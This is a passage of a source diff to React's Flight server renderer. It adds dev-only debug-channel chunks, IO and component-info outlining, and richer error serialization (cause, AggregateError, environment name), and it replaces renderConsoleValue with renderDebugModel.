+          'from Server Components. Classes or null prototypes are not supported.' +
+          describeObjectForErrorMessage(parent, parentPropertyName),
       );
     }
     if (__DEV__) {
-      if (
-        // TODO: We don't currently have a brand check on ReactComponentInfo. Reconsider.
-        typeof value.task === 'object' &&
-        value.task !== null &&
-        // $FlowFixMe[method-unbinding]
-        typeof value.task.run === 'function' &&
-        typeof value.name === 'string' &&
-        typeof value.env === 'string' &&
-        value.owner !== undefined &&
-        (enableOwnerStacks
-          ? typeof (value: any).stack === 'string'
-          : typeof (value: any).stack === 'undefined')
-      ) {
-        // This looks like a ReactComponentInfo. We can't serialize the ConsoleTask object so we
-        // need to omit it before serializing.
-        const componentDebugInfo: Omit<ReactComponentInfo, 'task'> = {
-          name: value.name,
-          env: value.env,
-          owner: (value: any).owner,
-        };
-        if (enableOwnerStacks) {
-          // $FlowFixMe[cannot-write]
-          componentDebugInfo.stack = (value: any).stack;
-        }
-        return componentDebugInfo;
-      }
-
       if (objectName(value) !== 'Object') {
-        console.error(
-          'Only plain objects can be passed to Client Components from Server Components. ' +
-            '%s objects are not supported.%s',
-          objectName(value),
-          describeObjectForErrorMessage(parent, parentPropertyName),
-        );
+        callWithDebugContextInDEV(request, task, () => {
+          console.error(
+            'Only plain objects can be passed to Client Components from Server Components. ' +
+              '%s objects are not supported.%s',
+            objectName(value),
+            describeObjectForErrorMessage(parent, parentPropertyName),
+          );
+        });
       } else if (!isSimpleObject(value)) {
-        console.error(
-          'Only plain objects can be passed to Client Components from Server Components. ' +
-            'Classes or other objects with methods are not supported.%s',
-          describeObjectForErrorMessage(parent, parentPropertyName),
-        );
-      } else if (Object.getOwnPropertySymbols) {
-        const symbols = Object.getOwnPropertySymbols(value);
-        if (symbols.length > 0) {
+        callWithDebugContextInDEV(request, task, () => {
           console.error(
             'Only plain objects can be passed to Client Components from Server Components. ' +
-              'Objects with symbol properties like %s are not supported.%s',
-            symbols[0].description,
+              'Classes or other objects with methods are not supported.%s',
             describeObjectForErrorMessage(parent, parentPropertyName),
           );
+        });
+      } else if (Object.getOwnPropertySymbols) {
+        const symbols = Object.getOwnPropertySymbols(value);
+        if (symbols.length > 0) {
+          callWithDebugContextInDEV(request, task, () => {
+            console.error(
+              'Only plain objects can be passed to Client Components from Server Components. ' +
+                'Objects with symbol properties like %s are not supported.%s',
+              symbols[0].description,
+              describeObjectForErrorMessage(parent, parentPropertyName),
+            );
+          });
         }
       }
     }
@@ -2549,6 +3935,7 @@ function renderModelDestructive(
         throwTaintViolation(tainted.message);
       }
     }
+    serializedSize += value.length;
     // TODO: Maybe too clever. If we support URL there's no similar trick.
     if (value[value.length - 1] === 'Z') {
       // Possibly a Date, whose toJSON automatically calls toISOString
@@ -2558,7 +3945,7 @@ function renderModelDestructive(
         return serializeDateFromDateJSON(value);
       }
     }
-    if (value.length >= 1024) {
+    if (value.length >= 1024 && byteLengthOfChunk !== null) {
       // For large strings, we encode them outside the JSON payload so that we
       // don't have to double encode and double parse the strings. This can also
       // be more compact in case the string has a lot of escaped characters.
@@ -2689,29 +4076,32 @@ function renderModelDestructive(
   );
 }
 
-function logPostpone(request: Request, reason: string): void {
-  const prevRequest = currentRequest;
-  currentRequest = null;
-  try {
-    const onPostpone = request.onPostpone;
-    if (supportsRequestStorage) {
-      // Exit the request context while running callbacks.
-      requestStorage.run(undefined, onPostpone, reason);
-    } else {
-      onPostpone(reason);
-    }
-  } finally {
-    currentRequest = prevRequest;
-  }
-}
-
-function logRecoverableError(request: Request, error: mixed): string {
+function logRecoverableError(
+  request: Request,
+  error: mixed,
+  task: Task | null, // DEV-only
+): string {
   const prevRequest = currentRequest;
+  // We clear the request context so that console.logs inside the callback doesn't
+  // get forwarded to the client.
   currentRequest = null;
   let errorDigest;
   try {
     const onError = request.onError;
-    if (supportsRequestStorage) {
+    if (__DEV__ && task !== null) {
+      if (supportsRequestStorage) {
+        errorDigest = requestStorage.run(
+          undefined,
+          callWithDebugContextInDEV,
+          request,
+          task,
+          onError,
+          error,
+        );
+      } else {
+        errorDigest = callWithDebugContextInDEV(request, task, onError, error);
+      }
+    } else if (supportsRequestStorage) {
       // Exit the request context while running callbacks.
       errorDigest = requestStorage.run(undefined, onError, error);
     } else {
@@ -2730,6 +4120,8 @@ function logRecoverableError(request: Request, error: mixed): string {
 }
 
 function fatalError(request: Request, error: mixed): void {
+  const onFatalError = request.onFatalError;
+  onFatalError(error);
   if (enableTaint) {
     cleanupTaintQueue(request);
   }
@@ -2741,29 +4133,113 @@ function fatalError(request: Request, error: mixed): void {
     request.status = CLOSING;
     request.fatalError = error;
   }
+  const abortReason = new Error(
+    'The render was aborted due to a fatal error.',
+    {
+      cause: error,
+    },
+  );
+  request.cacheController.abort(abortReason);
+}
+
+function serializeErrorValue(request: Request, error: Error): string {
+  if (__DEV__) {
+    let name: string = 'Error';
+    let message: string;
+    let stack: ReactStackTrace;
+    let env = (0, request.environmentName)();
+    try {
+      name = error.name;
+      // eslint-disable-next-line react-internal/safe-string-coercion
+      message = String(error.message);
+      stack = filterStackTrace(request, parseStackTrace(error, 0));
+      const errorEnv = (error: any).environmentName;
+      if (typeof errorEnv === 'string') {
+        // This probably came from another FlightClient as a pass through.
+        // Keep the environment name.
+        env = errorEnv;
+      }
+    } catch (x) {
+      message = 'An error occurred but serializing the error message failed.';
+      stack = [];
+    }
+    const errorInfo: ReactErrorInfoDev = {name, message, stack, env};
+    if ('cause' in error) {
+      const cause: ReactClientValue = (error.cause: any);
+      const causeId = outlineModel(request, cause);
+      errorInfo.cause = serializeByValueID(causeId);
+    }
+    if (
+      typeof AggregateError !== 'undefined' &&
+      error instanceof AggregateError
+    ) {
+      const errors: ReactClientValue = (error.errors: any);
+      const errorsId = outlineModel(request, errors);
+      errorInfo.errors = serializeByValueID(errorsId);
+    }
+    const id = outlineModel(request, errorInfo);
+    return '$Z' + id.toString(16);
+  } else {
+    // In prod we don't emit any information about this Error object to avoid
+    // unintentional leaks. Since this doesn't actually throw on the server
+    // we don't go through onError and so don't register any digest neither.
+    return '$Z';
+  }
 }
 
-function emitPostponeChunk(
+function serializeDebugErrorValue(
   request: Request,
-  id: number,
-  postponeInstance: Postpone,
-): void {
-  let row;
+  counter: {objectLimit: number},
+  error: Error,
+): string {
   if (__DEV__) {
-    let reason = '';
-    let stack = '';
+    let name: string = 'Error';
+    let message: string;
+    let stack: ReactStackTrace;
+    let env = (0, request.environmentName)();
     try {
+      name = error.name;
       // eslint-disable-next-line react-internal/safe-string-coercion
-      reason = String(postponeInstance.message);
-      stack = getStack(postponeInstance);
-    } catch (x) {}
-    row = serializeRowHeader('P', id) + stringify({reason, stack}) + '\n';
+      message = String(error.message);
+      stack = filterStackTrace(request, parseStackTrace(error, 0));
+      const errorEnv = (error: any).environmentName;
+      if (typeof errorEnv === 'string') {
+        // This probably came from another FlightClient as a pass through.
+        // Keep the environment name.
+        env = errorEnv;
+      }
+    } catch (x) {
+      message = 'An error occurred but serializing the error message failed.';
+      stack = [];
+    }
+    const errorInfo: ReactErrorInfoDev = {name, message, stack, env};
+    if ('cause' in error) {
+      counter.objectLimit--;
+      const cause: ReactClientValue = (error.cause: any);
+      const causeId = outlineDebugModel(request, counter, cause);
+      errorInfo.cause = serializeByValueID(causeId);
+    }
+    if (
+      typeof AggregateError !== 'undefined' &&
+      error instanceof AggregateError
+    ) {
+      counter.objectLimit--;
+      const errors: ReactClientValue = (error.errors: any);
+      const errorsId = outlineDebugModel(request, counter, errors);
+      errorInfo.errors = serializeByValueID(errorsId);
+    }
+    const id = outlineDebugModel(
+      request,
+      {objectLimit: stack.length * 2 + 1},
+      errorInfo,
+    );
+    return '$Z' + id.toString(16);
   } else {
-    // No reason included in prod.
-    row = serializeRowHeader('P', id) + '\n';
+    // In prod we don't emit any information about this Error object to avoid
+    // unintentional leaks. Since this doesn't actually throw on the server
+    // we don't go through onError and so don't register any digest neither.
+    return '$Z';
   }
-  const processedChunk = stringToChunk(row);
-  request.completedErrorChunks.push(processedChunk);
 }
 
 function emitErrorChunk(
@@ -2771,44 +4247,94 @@ function emitErrorChunk(
   id: number,
   digest: string,
   error: mixed,
+  debug: boolean, // DEV-only
+  owner: ?ReactComponentInfo, // DEV-only
 ): void {
-  let errorInfo: any;
+  let errorInfo: ReactErrorInfo;
   if (__DEV__) {
-    let message;
-    let stack = '';
+    let name: string = 'Error';
+    let message: string;
+    let stack: ReactStackTrace;
+    let env = (0, request.environmentName)();
+    let causeReference: null | string = null;
+    let errorsReference: null | string = null;
     try {
       if (error instanceof Error) {
+        name = error.name;
         // eslint-disable-next-line react-internal/safe-string-coercion
         message = String(error.message);
-        stack = getStack(error);
+        stack = filterStackTrace(request, parseStackTrace(error, 0));
+        const errorEnv = (error: any).environmentName;
+        if (typeof errorEnv === 'string') {
+          // This probably came from another FlightClient as a pass through.
+          // Keep the environment name.
+          env = errorEnv;
+        }
+        if ('cause' in error) {
+          const cause: ReactClientValue = (error.cause: any);
+          const causeId = debug
+            ? outlineDebugModel(request, {objectLimit: 5}, cause)
+            : outlineModel(request, cause);
+          causeReference = serializeByValueID(causeId);
+        }
+        if (
+          typeof AggregateError !== 'undefined' &&
+          error instanceof AggregateError
+        ) {
+          const errors: ReactClientValue = (error.errors: any);
+          const errorsId = debug
+            ? outlineDebugModel(request, {objectLimit: 5}, errors)
+            : outlineModel(request, errors);
+          errorsReference = serializeByValueID(errorsId);
+        }
       } else if (typeof error === 'object' && error !== null) {
         message = describeObjectForErrorMessage(error);
+        stack = [];
       } else {
         // eslint-disable-next-line react-internal/safe-string-coercion
         message = String(error);
+        stack = [];
       }
     } catch (x) {
       message = 'An error occurred but serializing the error message failed.';
+      stack = [];
+    }
+    const ownerRef =
+      owner == null ? null : outlineComponentInfo(request, owner);
+    errorInfo = {digest, name, message, stack, env, owner: ownerRef};
+    if (causeReference !== null) {
+      (errorInfo: ReactErrorInfoDev).cause = causeReference;
+    }
+    if (errorsReference !== null) {
+      (errorInfo: ReactErrorInfoDev).errors = errorsReference;
     }
-    errorInfo = {digest, message, stack};
   } else {
     errorInfo = {digest};
   }
   const row = serializeRowHeader('E', id) + stringify(errorInfo) + '\n';
   const processedChunk = stringToChunk(row);
-  request.completedErrorChunks.push(processedChunk);
+  if (__DEV__ && debug) {
+    request.completedDebugChunks.push(processedChunk);
+  } else {
+    request.completedErrorChunks.push(processedChunk);
+  }
 }
 
 function emitImportChunk(
   request: Request,
   id: number,
   clientReferenceMetadata: ClientReferenceMetadata,
+  debug: boolean,
 ): void {
   // $FlowFixMe[incompatible-type] stringify can return null
   const json: string = stringify(clientReferenceMetadata);
   const row = serializeRowHeader('I', id) + json + '\n';
   const processedChunk = stringToChunk(row);
-  request.completedImportChunks.push(processedChunk);
+  if (__DEV__ && debug) {
+    request.completedDebugChunks.push(processedChunk);
+  } else {
+    request.completedImportChunks.push(processedChunk);
+  }
 }
 
 function emitHintChunk<Code: HintCode>(
@@ -2817,8 +4343,7 @@ function emitHintChunk<Code: HintCode>(
   model: HintModel<Code>,
 ): void {
   const json: string = stringify(model);
-  const id = request.nextChunkId++;
-  const row = serializeRowHeader('H' + code, id) + json + '\n';
+  const row = ':H' + code + json + '\n';
   const processedChunk = stringToChunk(row);
   request.completedHintChunks.push(processedChunk);
 }
@@ -2835,10 +4360,25 @@ function emitModelChunk(request: Request, id: number, json: string): void {
   request.completedRegularChunks.push(processedChunk);
 }
 
+function emitDebugHaltChunk(request: Request, id: number): void {
+  if (!__DEV__) {
+    // These errors should never make it into a build so we don't need to encode them in codes.json
+    // eslint-disable-next-line react-internal/prod-error-codes
+    throw new Error(
+      'emitDebugHaltChunk should never be called in production mode. This is a bug in React.',
+    );
+  }
+  // This emits a marker that this row will never complete and should intentionally never resolve
+  // even when the client stream is closed. We use just the lack of data to indicate this.
+  const row = id.toString(16) + ':\n';
+  const processedChunk = stringToChunk(row);
+  request.completedDebugChunks.push(processedChunk);
+}
+
 function emitDebugChunk(
   request: Request,
   id: number,
-  debugInfo: ReactComponentInfo | ReactAsyncInfo,
+  debugInfo: ReactDebugInfoEntry,
 ): void {
   if (!__DEV__) {
     // These errors should never make it into a build so we don't need to encode them in codes.json
@@ -2848,30 +4388,278 @@ function emitDebugChunk(
     );
   }
 
-  // We use the console encoding so that we can dedupe objects but don't necessarily
-  // use the full serialization that requires a task.
-  const counter = {objectCount: 0};
-  function replacer(
-    this:
-      | {+[key: string | number]: ReactClientValue}
-      | $ReadOnlyArray<ReactClientValue>,
-    parentPropertyName: string,
-    value: ReactClientValue,
-  ): ReactJSONValue {
-    return renderConsoleValue(
-      request,
-      counter,
-      this,
-      parentPropertyName,
-      value,
-    );
+  const json: string = serializeDebugModel(request, 500, debugInfo);
+  if (request.debugDestination !== null) {
+    if (json[0] === '"' && json[1] === '$') {
+      // This is already an outlined reference so we can just emit it directly,
+      // without an unnecessary indirection.
+      const row = serializeRowHeader('D', id) + json + '\n';
+      request.completedRegularChunks.push(stringToChunk(row));
+    } else {
+      // Outline the debug information to the debug channel.
+      const outlinedId = request.nextChunkId++;
+      const debugRow = outlinedId.toString(16) + ':' + json + '\n';
+      request.pendingDebugChunks++;
+      request.completedDebugChunks.push(stringToChunk(debugRow));
+      const row =
+        serializeRowHeader('D', id) + '"$' + outlinedId.toString(16) + '"\n';
+      request.completedRegularChunks.push(stringToChunk(row));
+    }
+  } else {
+    const row = serializeRowHeader('D', id) + json + '\n';
+    request.completedRegularChunks.push(stringToChunk(row));
   }
+}
 
-  // $FlowFixMe[incompatible-type] stringify can return null
-  const json: string = stringify(debugInfo, replacer);
-  const row = serializeRowHeader('D', id) + json + '\n';
-  const processedChunk = stringToChunk(row);
-  request.completedRegularChunks.push(processedChunk);
+function outlineComponentInfo(
+  request: Request,
+  componentInfo: ReactComponentInfo,
+): string {
+  if (!__DEV__) {
+    // These errors should never make it into a build so we don't need to encode them in codes.json
+    // eslint-disable-next-line react-internal/prod-error-codes
+    throw new Error(
+      'outlineComponentInfo should never be called in production mode. This is a bug in React.',
+    );
+  }
+
+  const existingRef = request.writtenDebugObjects.get(componentInfo);
+  if (existingRef !== undefined) {
+    // Already written
+    return existingRef;
+  }
+
+  if (componentInfo.owner != null) {
+    // Ensure the owner is already outlined.
+    outlineComponentInfo(request, componentInfo.owner);
+  }
+
+  // Limit the number of objects we write to prevent emitting giant props objects.
+  let objectLimit = 10;
+  if (componentInfo.stack != null) {
+    // Ensure we have enough object limit to encode the stack trace.
+    objectLimit += componentInfo.stack.length;
+  }
+
+  // We use the console encoding so that we can dedupe objects but don't necessarily
+  // use the full serialization that requires a task.
+  const counter = {objectLimit};
+
+  // We can't serialize the ConsoleTask/Error objects so we need to omit them before serializing.
+  const componentDebugInfo: Omit<
+    ReactComponentInfo,
+    'debugTask' | 'debugStack',
+  > = {
+    name: componentInfo.name,
+    key: componentInfo.key,
+  };
+  if (componentInfo.env != null) {
+    // $FlowFixMe[cannot-write]
+    componentDebugInfo.env = componentInfo.env;
+  }
+  if (componentInfo.owner != null) {
+    // $FlowFixMe[cannot-write]
+    componentDebugInfo.owner = componentInfo.owner;
+  }
+  if (componentInfo.stack == null && componentInfo.debugStack != null) {
+    // If we have a debugStack but no parsed stack we should parse it.
+    // $FlowFixMe[cannot-write]
+    componentDebugInfo.stack = filterStackTrace(
+      request,
+      parseStackTrace(componentInfo.debugStack, 1),
+    );
+  } else if (componentInfo.stack != null) {
+    // $FlowFixMe[cannot-write]
+    componentDebugInfo.stack = componentInfo.stack;
+  }
+  // Ensure we serialize props after the stack to favor the stack being complete.
+  // $FlowFixMe[cannot-write]
+  componentDebugInfo.props = componentInfo.props;
+
+  const id = outlineDebugModel(request, counter, componentDebugInfo);
+  const ref = serializeByValueID(id);
+  request.writtenDebugObjects.set(componentInfo, ref);
+  // We also store this in the main dedupe set so that it can be referenced by inline React Elements.
+  request.writtenObjects.set(componentInfo, ref);
+  return ref;
+}
+
+function emitIOInfoChunk(
+  request: Request,
+  id: number,
+  name: string,
+  start: number,
+  end: number,
+  value: ?Promise<mixed>,
+  env: ?string,
+  owner: ?ReactComponentInfo,
+  stack: ?ReactStackTrace,
+): void {
+  if (!__DEV__) {
+    // These errors should never make it into a build so we don't need to encode them in codes.json
+    // eslint-disable-next-line react-internal/prod-error-codes
+    throw new Error(
+      'emitIOInfoChunk should never be called in production mode. This is a bug in React.',
+    );
+  }
+
+  let objectLimit = 10;
+  if (stack) {
+    objectLimit += stack.length;
+  }
+
+  const relativeStartTimestamp = start - request.timeOrigin;
+  const relativeEndTimestamp = end - request.timeOrigin;
+  const debugIOInfo: Omit<ReactIOInfo, 'debugTask' | 'debugStack'> = {
+    name: name,
+    start: relativeStartTimestamp,
+    end: relativeEndTimestamp,
+  };
+  if (env != null) {
+    // $FlowFixMe[cannot-write]
+    debugIOInfo.env = env;
+  }
+  if (stack != null) {
+    // $FlowFixMe[cannot-write]
+    debugIOInfo.stack = stack;
+  }
+  if (owner != null) {
+    // $FlowFixMe[cannot-write]
+    debugIOInfo.owner = owner;
+  }
+  if (value !== undefined) {
+    // $FlowFixMe[cannot-write]
+    debugIOInfo.value = value;
+  }
+  const json: string = serializeDebugModel(request, objectLimit, debugIOInfo);
+  const row = id.toString(16) + ':J' + json + '\n';
+  const processedChunk = stringToChunk(row);
+  request.completedDebugChunks.push(processedChunk);
+}
+
+function outlineIOInfo(request: Request, ioInfo: ReactIOInfo): void {
+  if (request.writtenObjects.has(ioInfo)) {
+    // Already written
+    return;
+  }
+  // We can't serialize the ConsoleTask/Error objects so we need to omit them before serializing.
+  request.pendingDebugChunks++;
+  const id = request.nextChunkId++;
+  const owner = ioInfo.owner;
+  // Ensure the owner is already outlined.
+  if (owner != null) {
+    outlineComponentInfo(request, owner);
+  }
+  let debugStack;
+  if (ioInfo.stack == null && ioInfo.debugStack != null) {
+    // If we have a debugStack but no parsed stack we should parse it.
+    debugStack = filterStackTrace(
+      request,
+      parseStackTrace(ioInfo.debugStack, 1),
+    );
+  } else {
+    debugStack = ioInfo.stack;
+  }
+  let env = ioInfo.env;
+  if (env == null) {
+    // If we're forwarding IO info from this environment, an empty env is effectively the "client" side.
+    // The "client" from the perspective of our client will be this current environment.
+    env = (0, request.environmentName)();
+  }
+  emitIOInfoChunk(
+    request,
+    id,
+    ioInfo.name,
+    ioInfo.start,
+    ioInfo.end,
+    ioInfo.value,
+    env,
+    owner,
+    debugStack,
+  );
+  request.writtenDebugObjects.set(ioInfo, serializeByValueID(id));
+}
+
+function serializeIONode(
+  request: Request,
+  ioNode: IONode | PromiseNode | UnresolvedPromiseNode,
+  promiseRef: null | WeakRef<Promise<mixed>>,
+): string {
+  const existingRef = request.writtenDebugObjects.get(ioNode);
+  if (existingRef !== undefined) {
+    // Already written
+    return existingRef;
+  }
+
+  let stack = null;
+  let name = '';
+  if (ioNode.promise !== null) {
+    // Pick an explicit name from the Promise itself if it exists.
+    // Note that we don't use the promiseRef passed in since that's sometimes the awaiting Promise
+    // which is the value observed but it's likely not the one with the name on it.
+    const promise = ioNode.promise.deref();
+    if (
+      promise !== undefined &&
+      // $FlowFixMe[prop-missing]
+      typeof promise.displayName === 'string'
+    ) {
+      name = promise.displayName;
+    }
+  }
+  if (ioNode.stack !== null) {
+    // The stack can contain some leading internal frames for the construction of the promise that we skip.
+    const fullStack = stripLeadingPromiseCreationFrames(ioNode.stack);
+    stack = filterStackTrace(request, fullStack);
+    if (name === '') {
+      // If we didn't have an explicit name, try finding one from the stack.
+      name = findCalledFunctionNameFromStackTrace(request, fullStack);
+      // The name can include the object that this was called on but sometimes that's
+      // just unnecessary context.
+      if (name.startsWith('Window.')) {
+        name = name.slice(7);
+      } else if (name.startsWith('<anonymous>.')) {
+        name = name.slice(7);
+      }
+    }
+  }
+  const owner = ioNode.owner;
+  // Ensure the owner is already outlined.
+  if (owner != null) {
+    outlineComponentInfo(request, owner);
+  }
+
+  let value: void | Promise<mixed> = undefined;
+  if (promiseRef !== null) {
+    value = promiseRef.deref();
+  }
+
+  // We log the environment at the time when we serialize the I/O node.
+  // The environment name may have changed from when the I/O was actually started.
+  const env = (0, request.environmentName)();
+
+  const endTime =
+    ioNode.tag === UNRESOLVED_PROMISE_NODE
+      ? // Mark the end time as now. It's arbitrary since it's not resolved but this
+        // marks when we called abort and therefore stopped trying.
+        request.abortTime
+      : ioNode.end;
+
+  request.pendingDebugChunks++;
+  const id = request.nextChunkId++;
+  emitIOInfoChunk(
+    request,
+    id,
+    name,
+    ioNode.start,
+    endTime,
+    value,
+    env,
+    owner,
+    stack,
+  );
+  const ref = serializeByValueID(id);
+  request.writtenDebugObjects.set(ioNode, ref);
+  return ref;
 }
 
 function emitTypedArrayChunk(
@@ -2879,6 +4667,7 @@ function emitTypedArrayChunk(
   id: number,
   tag: string,
   typedArray: $ArrayBufferView,
+  debug: boolean,
 ): void {
   if (enableTaint) {
     if (TaintRegistryByteLengths.has(typedArray.byteLength)) {
@@ -2892,22 +4681,49 @@ function emitTypedArrayChunk(
       }
     }
   }
-  request.pendingChunks++; // Extra chunk for the header.
+  if (debug) {
+    request.pendingDebugChunks++;
+  } else {
+    request.pendingChunks++; // Extra chunk for the header.
+  }
   // TODO: Convert to little endian if that's not the server default.
   const binaryChunk = typedArrayToBinaryChunk(typedArray);
   const binaryLength = byteLengthOfBinaryChunk(binaryChunk);
   const row = id.toString(16) + ':' + tag + binaryLength.toString(16) + ',';
   const headerChunk = stringToChunk(row);
-  request.completedRegularChunks.push(headerChunk, binaryChunk);
+  if (__DEV__ && debug) {
+    request.completedDebugChunks.push(headerChunk, binaryChunk);
+  } else {
+    request.completedRegularChunks.push(headerChunk, binaryChunk);
+  }
 }
 
-function emitTextChunk(request: Request, id: number, text: string): void {
-  request.pendingChunks++; // Extra chunk for the header.
+function emitTextChunk(
+  request: Request,
+  id: number,
+  text: string,
+  debug: boolean,
+): void {
+  if (byteLengthOfChunk === null) {
+    // eslint-disable-next-line react-internal/prod-error-codes
+    throw new Error(
+      'Existence of byteLengthOfChunk should have already been checked. This is a bug in React.',
+    );
+  }
+  if (debug) {
+    request.pendingDebugChunks++;
+  } else {
+    request.pendingChunks++; // Extra chunk for the header.
+  }
   const textChunk = stringToChunk(text);
   const binaryLength = byteLengthOfChunk(textChunk);
   const row = id.toString(16) + ':T' + binaryLength.toString(16) + ',';
   const headerChunk = stringToChunk(row);
-  request.completedRegularChunks.push(headerChunk, textChunk);
+  if (__DEV__ && debug) {
+    request.completedDebugChunks.push(headerChunk, textChunk);
+  } else {
+    request.completedRegularChunks.push(headerChunk, textChunk);
+  }
 }
 
 function serializeEval(source: string): string {
@@ -2921,44 +4737,53 @@ function serializeEval(source: string): string {
   return '$E' + source;
 }
 
+const CONSTRUCTOR_MARKER: symbol = __DEV__ ? Symbol() : (null: any);
+
+let debugModelRoot: mixed = null;
+let debugNoOutline: mixed = null;
 // This is a forked version of renderModel which should never error, never suspend and is limited
 // in the depth it can encode.
-function renderConsoleValue(
+function renderDebugModel(
   request: Request,
-  counter: {objectCount: number},
+  counter: {objectLimit: number},
   parent:
     | {+[propertyName: string | number]: ReactClientValue}
     | $ReadOnlyArray<ReactClientValue>,
   parentPropertyName: string,
   value: ReactClientValue,
 ): ReactJSONValue {
-  // Make sure that `parent[parentPropertyName]` wasn't JSONified before `value` was passed to us
-  // $FlowFixMe[incompatible-use]
-  const originalValue = parent[parentPropertyName];
-  if (
-    typeof originalValue === 'object' &&
-    originalValue !== value &&
-    !(originalValue instanceof Date)
-  ) {
-  }
-
   if (value === null) {
     return null;
   }
 
+  // Special Symbol, that's very common.
+  if (value === REACT_ELEMENT_TYPE) {
+    return '$';
+  }
+
   if (typeof value === 'object') {
     if (isClientReference(value)) {
       // We actually have this value on the client so we could import it.
       // This might be confusing though because on the Server it won't actually
       // be this value, so if you're debugging client references maybe you'd be
       // better with a place holder.
-      return serializeClientReference(
+      return serializeDebugClientReference(
         request,
         parent,
         parentPropertyName,
         (value: any),
       );
     }
+    if (value.$$typeof === CONSTRUCTOR_MARKER) {
+      const constructor: Function = (value: any).constructor;
+      let ref = request.writtenDebugObjects.get(constructor);
+      if (ref === undefined) {
+        const id = outlineDebugModel(request, counter, constructor);
+        ref = serializeByValueID(id);
+      }
+      return '$P' + ref.slice(1);
+    }
+
     if (request.temporaryReferences !== undefined) {
       const tempRef = resolveTemporaryReference(
         request.temporaryReferences,
@@ -2969,133 +4794,287 @@ function renderConsoleValue(
       }
     }
 
-    if (counter.objectCount > 20) {
-      // We've reached our max number of objects to serialize across the wire so we serialize this
-      // object but no properties inside of it, as a place holder.
-      return Array.isArray(value) ? [] : {};
-    }
+    const writtenDebugObjects = request.writtenDebugObjects;
+    const existingDebugReference = writtenDebugObjects.get(value);
+    if (existingDebugReference !== undefined) {
+      if (debugModelRoot === value) {
+        // This is the ID we're currently emitting so we need to write it
+        // once but if we discover it again, we refer to it by id.
+        debugModelRoot = null;
+      } else {
+        // We've already emitted this as a debug object. We favor that version if available.
+        return existingDebugReference;
+      }
+    } else if (parentPropertyName.indexOf(':') === -1) {
+      // TODO: If the property name contains a colon, we don't dedupe. Escape instead.
+      const parentReference = writtenDebugObjects.get(parent);
+      if (parentReference !== undefined) {
+        // If the parent has a reference, we can refer to this object indirectly
+        // through the property name inside that parent.
+        if (counter.objectLimit <= 0 && !doNotLimit.has(value)) {
+          // If we are going to defer this, don't dedupe it since then we'd dedupe it to be
+          // deferred in future reference.
+          return serializeDeferredObject(request, value);
+        }
 
-    counter.objectCount++;
+        let propertyName = parentPropertyName;
+        if (isArray(parent) && parent[0] === REACT_ELEMENT_TYPE) {
+          // For elements, we've converted it to an array but we'll have converted
+          // it back to an element before we read the references so the property
+          // needs to be aliased.
+          switch (parentPropertyName) {
+            case '1':
+              propertyName = 'type';
+              break;
+            case '2':
+              propertyName = 'key';
+              break;
+            case '3':
+              propertyName = 'props';
+              break;
+            case '4':
+              propertyName = '_owner';
+              break;
+          }
+        }
+        writtenDebugObjects.set(value, parentReference + ':' + propertyName);
+      } else if (debugNoOutline !== value) {
+        // If this isn't the root object (like meta data) and we don't have an id for it, outline
+        // it so that we can dedupe it by reference later.
+        // $FlowFixMe[method-unbinding]
+        if (typeof value.then === 'function') {
+          // If this is a Promise we're going to assign it an external ID anyway which can be deduped.
+          const thenable: Thenable<any> = (value: any);
+          return serializeDebugThenable(request, counter, thenable);
+        } else {
+          const outlinedId = outlineDebugModel(request, counter, value);
+          return serializeByValueID(outlinedId);
+        }
+      }
+    }
 
     const writtenObjects = request.writtenObjects;
     const existingReference = writtenObjects.get(value);
-    // $FlowFixMe[method-unbinding]
-    if (typeof value.then === 'function') {
-      if (existingReference !== undefined) {
-        // We've seen this promise before, so we can just refer to the same result.
-        return existingReference;
+    if (existingReference !== undefined) {
+      // We've already emitted this as a real object, so we can refer to that by its existing reference.
+      // This might be slightly different serialization than what renderDebugModel would've produced.
+      return existingReference;
+    }
+
+    if (counter.objectLimit <= 0 && !doNotLimit.has(value)) {
+      // We've reached our max number of objects to serialize across the wire so we serialize this
+      // as a marker so that the client can error or lazy load this when accessed by the console.
+      return serializeDeferredObject(request, value);
+    }
+
+    counter.objectLimit--;
+
+    const deferredDebugObjects = request.deferredDebugObjects;
+    if (deferredDebugObjects !== null) {
+      const deferredId = deferredDebugObjects.existing.get(value);
+      // We earlier deferred this same object. We're now going to eagerly emit it so let's emit it
+      // at the same ID that we already used to refer to it.
+      if (deferredId !== undefined) {
+        deferredDebugObjects.existing.delete(value);
+        deferredDebugObjects.retained.delete(deferredId);
+        emitOutlinedDebugModelChunk(request, deferredId, counter, value);
+        return serializeByValueID(deferredId);
       }
+    }
 
-      const thenable: Thenable<any> = (value: any);
-      switch (thenable.status) {
-        case 'fulfilled': {
-          return serializePromiseID(
-            outlineConsoleValue(request, counter, thenable.value),
+    switch ((value: any).$$typeof) {
+      case REACT_ELEMENT_TYPE: {
+        const element: ReactElement = (value: any);
+
+        if (element._owner != null) {
+          outlineComponentInfo(request, element._owner);
+        }
+        if (typeof element.type === 'object' && element.type !== null) {
+          // If the type is an object it can get cut off which shouldn't happen here.
+          doNotLimit.add(element.type);
+        }
+        if (typeof element.key === 'object' && element.key !== null) {
+          // This should never happen but just in case.
+          doNotLimit.add(element.key);
+        }
+        doNotLimit.add(element.props);
+        if (element._owner !== null) {
+          doNotLimit.add(element._owner);
+        }
+
+        let debugStack: null | ReactStackTrace = null;
+        if (element._debugStack != null) {
+          // Outline the debug stack so that it doesn't get cut off.
+          debugStack = filterStackTrace(
+            request,
+            parseStackTrace(element._debugStack, 1),
           );
+          doNotLimit.add(debugStack);
+          for (let i = 0; i < debugStack.length; i++) {
+            doNotLimit.add(debugStack[i]);
+          }
         }
-        case 'rejected': {
-          const x = thenable.reason;
-          request.pendingChunks++;
-          const errorId = request.nextChunkId++;
-          if (
-            enablePostpone &&
-            typeof x === 'object' &&
-            x !== null &&
-            (x: any).$$typeof === REACT_POSTPONE_TYPE
-          ) {
-            const postponeInstance: Postpone = (x: any);
-            // We don't log this postpone.
-            emitPostponeChunk(request, errorId, postponeInstance);
-          } else {
-            // We don't log these errors since they didn't actually throw into Flight.
-            const digest = '';
-            emitErrorChunk(request, errorId, digest, x);
+        return [
+          REACT_ELEMENT_TYPE,
+          element.type,
+          element.key,
+          element.props,
+          element._owner,
+          debugStack,
+          element._store.validated,
+        ];
+      }
+      case REACT_LAZY_TYPE: {
+        // To avoid actually initializing a lazy causing a side-effect, we make
+        // some assumptions about the structure of the payload even though
+        // that's not really part of the contract. In practice, this is really
+        // just coming from React.lazy helper or Flight.
+        const lazy: LazyComponent<any, any> = (value: any);
+        const payload = lazy._payload;
+
+        if (payload !== null && typeof payload === 'object') {
+          // React.lazy constructor
+          switch (payload._status) {
